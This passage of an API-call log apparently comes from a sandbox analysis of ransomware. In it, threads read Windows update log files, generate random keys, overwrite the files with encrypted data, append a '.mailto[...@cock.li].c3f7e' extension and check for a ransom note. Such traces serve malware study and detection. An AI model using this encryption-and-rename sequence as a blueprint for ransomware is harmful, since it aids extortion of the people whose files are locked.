	[0085.519] wcscat (in: _Dest=0x47ea3a0, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.007.etl.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.007.etl.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0085.519] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.007.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2813f880, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.007.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0085.519] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xde) returned 0x4768628
	[0085.523] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4768628) returned 1
	[0085.523] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477ca40) returned 1
	[0085.523] NtQueryInformationFile (in: FileHandle=0x1844, IoStatusBlock=0x2813f88c, FileInformation=0x2813f864, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2813f88c, FileInformation=0x2813f864) returned 0x0
	[0085.523] NtSetInformationFile (FileHandle=0x1844, IoStatusBlock=0x2813f88c, FileInformation=0x2813f864, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0085.524] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea3a0) returned 1
	[0085.524] FlushFileBuffers (hFile=0x1844) returned 1
	[0093.061] CloseHandle (hObject=0x1844) returned 1
	[0093.064] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4733a70
	[0093.064] wcscpy (in: _Dest=0x4733a70, _Source="C:\\ProgramData\\USOShared\\Logs\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0093.064] wcscat (in: _Dest=0x4733a70, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt") returned="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt"
	[0093.064] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\programdata\\usoshared\\logs\\c3f7e-readme.txt")) returned 0x2020
	[0093.064] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4733a70) returned 1
	[0093.064] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476d858) returned 1

Thread:
	id = 1142
	os_tid = 0x1e48

	[0083.610] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.008.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.008.etl")) returned 0x2020
	[0083.821] SetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.008.etl", dwFileAttributes=0x20) returned 1
	[0083.826] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.008.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.008.etl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x16ec
	[0083.826] GetFileSizeEx (in: hFile=0x16ec, lpFileSize=0x281bfb70 | out: lpFileSize=0x281bfb70*=12288) returned 1
	[0083.826] SetFilePointerEx (in: hFile=0x16ec, liDistanceToMove=0x2ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.827] ReadFile (in: hFile=0x16ec, lpBuffer=0x281bfaf4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x281bfaf0, lpOverlapped=0x0 | out: lpBuffer=0x281bfaf4*, lpNumberOfBytesRead=0x281bfaf0*=0x4, lpOverlapped=0x0) returned 1
	[0083.832] SetFilePointerEx (in: hFile=0x16ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.832] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33d98
	[0083.832] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33e10
	[0083.832] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f78
	[0083.832] NtQuerySystemTime (in: CurrentTime=0x281bfad0 | out: CurrentTime=0x281bfad0*=132251868105619384) returned 0x0
	[0083.832] RtlRandom (in: Seed=0x281bfadc | out: Seed=0x281bfadc) returned 0x7be60d4e
	[0083.832] RtlRandom (in: Seed=0x281bfadc | out: Seed=0x281bfadc) returned 0xd343b4b2
	[0083.832] RtlRandom (in: Seed=0x281bfadc | out: Seed=0x281bfadc) returned 0x39b8b2c5
	[0083.832] RtlRandom (in: Seed=0x281bfadc | out: Seed=0x281bfadc) returned 0x10683c49
	[0083.832] RtlRandom (in: Seed=0x281bfadc | out: Seed=0x281bfadc) returned 0x2698c0d3
	[0083.832] RtlRandom (in: Seed=0x281bfadc | out: Seed=0x281bfadc) returned 0xfff65a4a
	[0083.832] RtlRandom (in: Seed=0x281bfadc | out: Seed=0x281bfadc) returned 0x785c2ce2
	[0083.832] RtlRandom (in: Seed=0x281bfadc | out: Seed=0x281bfadc) returned 0x12cf2e93
	[0083.832] RtlRandom (in: Seed=0x281bfadc | out: Seed=0x281bfadc) returned 0xea86bf83
	[0083.832] RtlRandom (in: Seed=0x281bfadc | out: Seed=0x281bfadc) returned 0x3ea2ab39
	[0083.832] RtlRandom (in: Seed=0x281bfadc | out: Seed=0x281bfadc) returned 0x34fc0264
	[0083.832] RtlRandom (in: Seed=0x281bfadc | out: Seed=0x281bfadc) returned 0x7ba3ad0a
	[0083.832] RtlRandom (in: Seed=0x281bfadc | out: Seed=0x281bfadc) returned 0x45494fa8
	[0083.832] RtlRandom (in: Seed=0x281bfadc | out: Seed=0x281bfadc) returned 0x46658521
	[0083.832] RtlRandom (in: Seed=0x281bfadc | out: Seed=0x281bfadc) returned 0xe7d3a333
	[0083.832] RtlRandom (in: Seed=0x281bfadc | out: Seed=0x281bfadc) returned 0x82d27148
	[0083.832] RtlRandom (in: Seed=0x281bfadc | out: Seed=0x281bfadc) returned 0x6d0cede2
	[0083.832] RtlRandom (in: Seed=0x281bfadc | out: Seed=0x281bfadc) returned 0x594ca88e
	[0083.832] RtlRandom (in: Seed=0x281bfadc | out: Seed=0x281bfadc) returned 0x51058626
	[0083.832] RtlRandom (in: Seed=0x281bfadc | out: Seed=0x281bfadc) returned 0x88318d2b
	[0083.832] RtlRandom (in: Seed=0x281bfadc | out: Seed=0x281bfadc) returned 0xf2004a16
	[0083.832] RtlRandom (in: Seed=0x281bfadc | out: Seed=0x281bfadc) returned 0xfd580462
	[0083.832] RtlRandom (in: Seed=0x281bfadc | out: Seed=0x281bfadc) returned 0xafc1c704
	[0083.832] RtlRandom (in: Seed=0x281bfadc | out: Seed=0x281bfadc) returned 0x43fc556f
	[0083.832] RtlRandom (in: Seed=0x281bfadc | out: Seed=0x281bfadc) returned 0xc0d0f580
	[0083.832] RtlRandom (in: Seed=0x281bfadc | out: Seed=0x281bfadc) returned 0x7696fdc4
	[0083.832] RtlRandom (in: Seed=0x281bfadc | out: Seed=0x281bfadc) returned 0x6f6e1c0e
	[0083.832] RtlRandom (in: Seed=0x281bfadc | out: Seed=0x281bfadc) returned 0x7670f535
	[0083.832] RtlRandom (in: Seed=0x281bfadc | out: Seed=0x281bfadc) returned 0x4003b495
	[0083.832] RtlRandom (in: Seed=0x281bfadc | out: Seed=0x281bfadc) returned 0x6a75e623
	[0083.832] RtlRandom (in: Seed=0x281bfadc | out: Seed=0x281bfadc) returned 0x1b64b164
	[0083.832] RtlRandom (in: Seed=0x281bfadc | out: Seed=0x281bfadc) returned 0xe6a0e9bb
	[0083.848] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0083.848] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f78) returned 1
	[0083.848] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d98) returned 1
	[0083.848] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa8e0
	[0083.848] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04090
	[0083.848] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f00
	[0083.848] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f00) returned 1
	[0083.848] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x5032038
	[0083.848] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4887048
	[0083.848] ReadFile (in: hFile=0x16ec, lpBuffer=0x5032038, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x281bfacc, lpOverlapped=0x0 | out: lpBuffer=0x5032038*, lpNumberOfBytesRead=0x281bfacc*=0x3000, lpOverlapped=0x0) returned 1
	[0083.849] SetFilePointerEx (in: hFile=0x16ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.849] WriteFile (in: hFile=0x16ec, lpBuffer=0x4887048*, nNumberOfBytesToWrite=0x3000, lpNumberOfBytesWritten=0x281bfac8, lpOverlapped=0x0 | out: lpBuffer=0x4887048*, lpNumberOfBytesWritten=0x281bfac8*=0x3000, lpOverlapped=0x0) returned 1
	[0083.851] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33eb0
	[0083.851] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33ed8
	[0083.851] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33ed8) returned 1
	[0083.851] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4887048) returned 1
	[0083.851] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5032038) returned 1
	[0083.851] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0083.851] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa8e0) returned 1
	[0083.851] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x51) returned 0x2daf608
	[0083.851] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f78) returned 1
	[0083.851] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x51) returned 0x2daf6c8
	[0083.851] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33ed8
	[0083.851] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f00
	[0083.851] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f00) returned 1
	[0083.851] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0083.851] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaad8) returned 1
	[0083.851] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x135) returned 0x481ebb8
	[0083.851] SetFilePointerEx (in: hFile=0x16ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.852] WriteFile (in: hFile=0x16ec, lpBuffer=0x481ebb8*, nNumberOfBytesToWrite=0x135, lpNumberOfBytesWritten=0x281bfb30, lpOverlapped=0x0 | out: lpBuffer=0x481ebb8*, lpNumberOfBytesWritten=0x281bfb30*=0x135, lpOverlapped=0x0) returned 1
	[0083.853] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ebb8) returned 1
	[0083.853] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daf6c8) returned 1
	[0083.853] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33ed8) returned 1
	[0083.853] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daf608) returned 1
	[0083.854] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33eb0) returned 1
	[0083.854] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e10) returned 1
	[0083.854] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e88) returned 1
	[0083.854] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d20) returned 1
	[0083.854] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x47192c0
	[0083.854] wcscpy (in: _Dest=0x47192c0, _Source="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.008.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.008.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.008.etl"
	[0083.854] wcscat (in: _Dest=0x47192c0, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.008.etl.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.008.etl.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0083.854] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.008.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x281bfae8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.008.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0083.854] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xde) returned 0x4768628
	[0083.854] NtSetInformationFile (FileHandle=0x16ec, IoStatusBlock=0x281bfae0, FileInformation=0x4768628, Length=0xde, FileInformationClass=0xa) returned 0x0
	[0083.874] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4768628) returned 1
	[0083.874] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477d898) returned 1
	[0083.874] NtQueryInformationFile (in: FileHandle=0x16ec, IoStatusBlock=0x281bfaf4, FileInformation=0x281bfacc, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x281bfaf4, FileInformation=0x281bfacc) returned 0x0
	[0083.874] NtSetInformationFile (FileHandle=0x16ec, IoStatusBlock=0x281bfaf4, FileInformation=0x281bfacc, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0083.875] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47192c0) returned 1
	[0083.875] FlushFileBuffers (hFile=0x16ec) returned 1
	[0083.876] CloseHandle (hObject=0x16ec) returned 1
	[0083.878] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4780ec8
	[0083.878] wcscpy (in: _Dest=0x4780ec8, _Source="C:\\ProgramData\\USOShared\\Logs\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0083.878] wcscat (in: _Dest=0x4780ec8, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt") returned="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt"
	[0083.878] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\programdata\\usoshared\\logs\\c3f7e-readme.txt")) returned 0x2020
	[0083.878] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4780ec8) returned 1
	[0083.878] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476e4b8) returned 1

Thread:
	id = 1143
	os_tid = 0x1e4c

	[0083.611] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.009.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.009.etl")) returned 0x2020
	[0083.789] SetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.009.etl", dwFileAttributes=0x20) returned 1
	[0083.800] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.009.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.009.etl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x16f8
	[0083.800] GetFileSizeEx (in: hFile=0x16f8, lpFileSize=0x2823f798 | out: lpFileSize=0x2823f798*=12288) returned 1
	[0083.801] SetFilePointerEx (in: hFile=0x16f8, liDistanceToMove=0x2ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.801] ReadFile (in: hFile=0x16f8, lpBuffer=0x2823f71c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2823f718, lpOverlapped=0x0 | out: lpBuffer=0x2823f71c*, lpNumberOfBytesRead=0x2823f718*=0x4, lpOverlapped=0x0) returned 1
	[0083.810] SetFilePointerEx (in: hFile=0x16f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.810] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33d98
	[0083.810] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33e10
	[0083.810] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f78
	[0083.810] NtQuerySystemTime (in: CurrentTime=0x2823f6f8 | out: CurrentTime=0x2823f6f8*=132251868105463355) returned 0x0
	[0083.810] RtlRandom (in: Seed=0x2823f704 | out: Seed=0x2823f704) returned 0xec0c2b36
	[0083.810] RtlRandom (in: Seed=0x2823f704 | out: Seed=0x2823f704) returned 0x94cb245c
	[0083.810] RtlRandom (in: Seed=0x2823f704 | out: Seed=0x2823f704) returned 0xecb78d5c
	[0083.810] RtlRandom (in: Seed=0x2823f704 | out: Seed=0x2823f704) returned 0x9b46109c
	[0083.810] RtlRandom (in: Seed=0x2823f704 | out: Seed=0x2823f704) returned 0x86d8cf68
	[0083.810] RtlRandom (in: Seed=0x2823f704 | out: Seed=0x2823f704) returned 0xbd4b0b69
	[0083.810] RtlRandom (in: Seed=0x2823f704 | out: Seed=0x2823f704) returned 0x78384e63
	[0083.810] RtlRandom (in: Seed=0x2823f704 | out: Seed=0x2823f704) returned 0xa190f465
	[0083.810] RtlRandom (in: Seed=0x2823f704 | out: Seed=0x2823f704) returned 0x9ab4138e
	[0083.810] RtlRandom (in: Seed=0x2823f704 | out: Seed=0x2823f704) returned 0x3282c863
	[0083.810] RtlRandom (in: Seed=0x2823f704 | out: Seed=0x2823f704) returned 0x56ff90d2
	[0083.810] RtlRandom (in: Seed=0x2823f704 | out: Seed=0x2823f704) returned 0x2dae27d9
	[0083.810] RtlRandom (in: Seed=0x2823f704 | out: Seed=0x2823f704) returned 0xf16d28c0
	[0083.810] RtlRandom (in: Seed=0x2823f704 | out: Seed=0x2823f704) returned 0x8d6dd054
	[0083.810] RtlRandom (in: Seed=0x2823f704 | out: Seed=0x2823f704) returned 0x8638e032
	[0083.810] RtlRandom (in: Seed=0x2823f704 | out: Seed=0x2823f704) returned 0x75febd0
	[0083.810] RtlRandom (in: Seed=0x2823f704 | out: Seed=0x2823f704) returned 0xe20a713b
	[0083.810] RtlRandom (in: Seed=0x2823f704 | out: Seed=0x2823f704) returned 0xff78db11
	[0083.810] RtlRandom (in: Seed=0x2823f704 | out: Seed=0x2823f704) returned 0xdd0355fd
	[0083.810] RtlRandom (in: Seed=0x2823f704 | out: Seed=0x2823f704) returned 0x31ab5c1f
	[0083.810] RtlRandom (in: Seed=0x2823f704 | out: Seed=0x2823f704) returned 0x328eb1d9
	[0083.810] RtlRandom (in: Seed=0x2823f704 | out: Seed=0x2823f704) returned 0xa92461eb
	[0083.810] RtlRandom (in: Seed=0x2823f704 | out: Seed=0x2823f704) returned 0x86382fde
	[0083.810] RtlRandom (in: Seed=0x2823f704 | out: Seed=0x2823f704) returned 0xbf113cc
	[0083.810] RtlRandom (in: Seed=0x2823f704 | out: Seed=0x2823f704) returned 0x616c9749
	[0083.810] RtlRandom (in: Seed=0x2823f704 | out: Seed=0x2823f704) returned 0x69b20a21
	[0083.810] RtlRandom (in: Seed=0x2823f704 | out: Seed=0x2823f704) returned 0xf3023e41
	[0083.810] RtlRandom (in: Seed=0x2823f704 | out: Seed=0x2823f704) returned 0x9956058a
	[0083.810] RtlRandom (in: Seed=0x2823f704 | out: Seed=0x2823f704) returned 0x2cdf2af9
	[0083.810] RtlRandom (in: Seed=0x2823f704 | out: Seed=0x2823f704) returned 0xa4f2dc10
	[0083.810] RtlRandom (in: Seed=0x2823f704 | out: Seed=0x2823f704) returned 0xf69dd2fa
	[0083.810] RtlRandom (in: Seed=0x2823f704 | out: Seed=0x2823f704) returned 0xfd7191d0
	[0083.819] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0083.819] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f78) returned 1
	[0083.819] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d98) returned 1
	[0083.819] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa8e0
	[0083.819] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04090
	[0083.819] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f00
	[0083.819] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f00) returned 1
	[0083.819] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x5032038
	[0083.819] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4887048
	[0083.819] ReadFile (in: hFile=0x16f8, lpBuffer=0x5032038, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x2823f6f4, lpOverlapped=0x0 | out: lpBuffer=0x5032038*, lpNumberOfBytesRead=0x2823f6f4*=0x3000, lpOverlapped=0x0) returned 1
	[0083.820] SetFilePointerEx (in: hFile=0x16f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.820] WriteFile (in: hFile=0x16f8, lpBuffer=0x4887048*, nNumberOfBytesToWrite=0x3000, lpNumberOfBytesWritten=0x2823f6f0, lpOverlapped=0x0 | out: lpBuffer=0x4887048*, lpNumberOfBytesWritten=0x2823f6f0*=0x3000, lpOverlapped=0x0) returned 1
	[0083.821] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33eb0
	[0083.822] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33ed8
	[0083.822] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33ed8) returned 1
	[0083.822] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4887048) returned 1
	[0083.822] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5032038) returned 1
	[0083.822] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0083.822] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa8e0) returned 1
	[0083.822] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x51) returned 0x2daf608
	[0083.822] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f78) returned 1
	[0083.822] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x51) returned 0x2daf6c8
	[0083.822] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33ed8
	[0083.822] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f00
	[0083.822] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f00) returned 1
	[0083.822] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0083.822] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaad8) returned 1
	[0083.822] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x135) returned 0x481ebb8
	[0083.822] SetFilePointerEx (in: hFile=0x16f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.822] WriteFile (in: hFile=0x16f8, lpBuffer=0x481ebb8*, nNumberOfBytesToWrite=0x135, lpNumberOfBytesWritten=0x2823f758, lpOverlapped=0x0 | out: lpBuffer=0x481ebb8*, lpNumberOfBytesWritten=0x2823f758*=0x135, lpOverlapped=0x0) returned 1
	[0083.824] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ebb8) returned 1
	[0083.824] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daf6c8) returned 1
	[0083.824] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33ed8) returned 1
	[0083.824] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daf608) returned 1
	[0083.824] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33eb0) returned 1
	[0083.824] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e10) returned 1
	[0083.824] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33e88) returned 1
	[0083.824] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d20) returned 1
	[0083.824] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x47192c0
	[0083.824] wcscpy (in: _Dest=0x47192c0, _Source="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.009.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.009.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.009.etl"
	[0083.824] wcscat (in: _Dest=0x47192c0, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.009.etl.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.009.etl.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0083.824] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.009.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2823f710, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.009.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0083.824] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xde) returned 0x4768628
	[0083.824] NtSetInformationFile (FileHandle=0x16f8, IoStatusBlock=0x2823f708, FileInformation=0x4768628, Length=0xde, FileInformationClass=0xa) returned 0x0
	[0083.825] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4768628) returned 1
	[0083.825] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477d898) returned 1
	[0083.825] NtQueryInformationFile (in: FileHandle=0x16f8, IoStatusBlock=0x2823f71c, FileInformation=0x2823f6f4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2823f71c, FileInformation=0x2823f6f4) returned 0x0
